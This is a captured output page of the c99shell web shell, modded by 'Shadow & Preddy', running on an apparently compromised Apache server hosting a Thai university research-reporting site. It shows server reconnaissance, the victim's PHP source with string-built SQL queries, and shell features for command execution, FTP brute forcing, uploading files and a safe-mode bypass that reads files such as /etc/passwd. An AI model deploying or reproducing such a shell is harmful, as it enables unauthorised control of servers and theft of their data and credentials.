!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 52.66 GB of 127.8 GB (41.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ResearchTeacherYear.php (10.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
";
		echo "


กรุณาทำการ Login ก่อน

"; echo ""; exit(); } else { /** Configuration */ require_once( "../configuration.php" ); require_once( $_Config_absolute_path . "/includes/framework.php" ); require_once( "../includes/Function.php" ); /** Create Database Object */ $dbObj = new DBConn; /** Chart */ include ("../includes/charts.php"); $param = "&"; $sql = "Select * From research_dissemination " ; $result = mysql_query($sql) or die(" Error").mysql_error(); $rss = mysql_fetch_array($result); } # else ?> ข้อมูลงานวิจัย
">หน้าหลัก">ข้อมูลรายงานจำนวนร้อยละของงานวิจัยเปรียบเทียบจำนวนงานวิจัยของอาจารย์ในแต่ละปีการศึกษา
 
‹ ย้อนกลับ
 
"; // Fetch all factory records $sql = " SELECT * FROM research_tb rt, research_public_tb rb WHERE rt.Research_code = rb.Research_code and rb.ReTyId='1' GROUP BY rt.academic_year_finish "; $result1 = mysql_query($sql); //Iterate through each factory if ($result1) { while( $rs1 = mysql_fetch_array($result1) ) { $error_id = $rs1['id']; // $strQuery = " SELECT SUM(Results) AS Sum FROM research_tb rt, research_dissemination rd WHERE rt.Research_code = rd.Research_code and rd.academic_year_finish='$rs1[academic_year_finish]' "; // $result2 = mysql_query($strQuery); //$rs2 = $dbObj->fetchArray($result2); // $Sum = mysql_num_rows($result2); // echo number_format($rs6['Sum'],2,'.',','); $sql = " SELECT COUNT(rt.Research_code) AS RC FROM research_tb rt, research_public_tb rb WHERE rt.Research_code = rb.Research_code and rb.ReTyId='1' and rt.academic_year_finish='$rs1[academic_year_finish]' "; $result2 = $dbObj->execQuery($sql); $rs2 = $dbObj->fetchArray($result2); $sql = " SELECT * FROM research_year py, research_tb rt WHERE py.AcademicYear= rt.academic_year_finish and py.AcademicYear ='$rs1[academic_year_finish]' "; $result3 = $dbObj->execQuery($sql); $rs3 = $dbObj->fetchArray($result3); $per2= ( $rs2['RC'] * 100 ) / $rs3['Teacheryear'] ; //echo number_format($per2,'2','.','')." %"; $strXML .= ""; } # while } # if //Finally, close element $strXML .= ""; //Create the chart - Pie 3D Chart with data from strXML echo renderChart("../charts/Pie3D.swf", "", $strXML, "", 650, 375, false, false); ?>
fetchArray($result) ) { $bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF"; ?>
No. ปีการศึกษา จำนวนผล
งานวิจัย
จำนวนผู้ร่วม
ทำงานวิจัย
จำนวน
อาจารย์ประจำ
สัดส่วนอาจารย์
ประจำต่องานวิจัย
&ReTyId=" title=" Click to more detail "> execQuery($query2); $countnum = $dbObj->_numrows; $dbObj->freeresult($result2); echo $countnum; ?> execQuery($sql); $rs2 = $dbObj->fetchArray($result2); $dbObj->freeresult($result2); echo $rs2['countR']; ?> execQuery($query2); $rs2 = $dbObj->fetchArray($result2); echo $rs2['Teacheryear'] ; ?> execQuery($sql); $rs1 = $dbObj->fetchArray($result1); $sql = " SELECT * FROM research_year py, research_tb rt WHERE py.AcademicYear= rt.academic_year_finish and py.AcademicYear ='$rs[academic_year_finish]' "; $result2 = $dbObj->execQuery($sql); $rs2 = $dbObj->fetchArray($result2); $per2= ( $rs1['RC'] * 100 ) / $rs2['Teacheryear'] ; echo number_format($per2,'2','.','')." %"; ?>

freeresult($result); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?>
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]--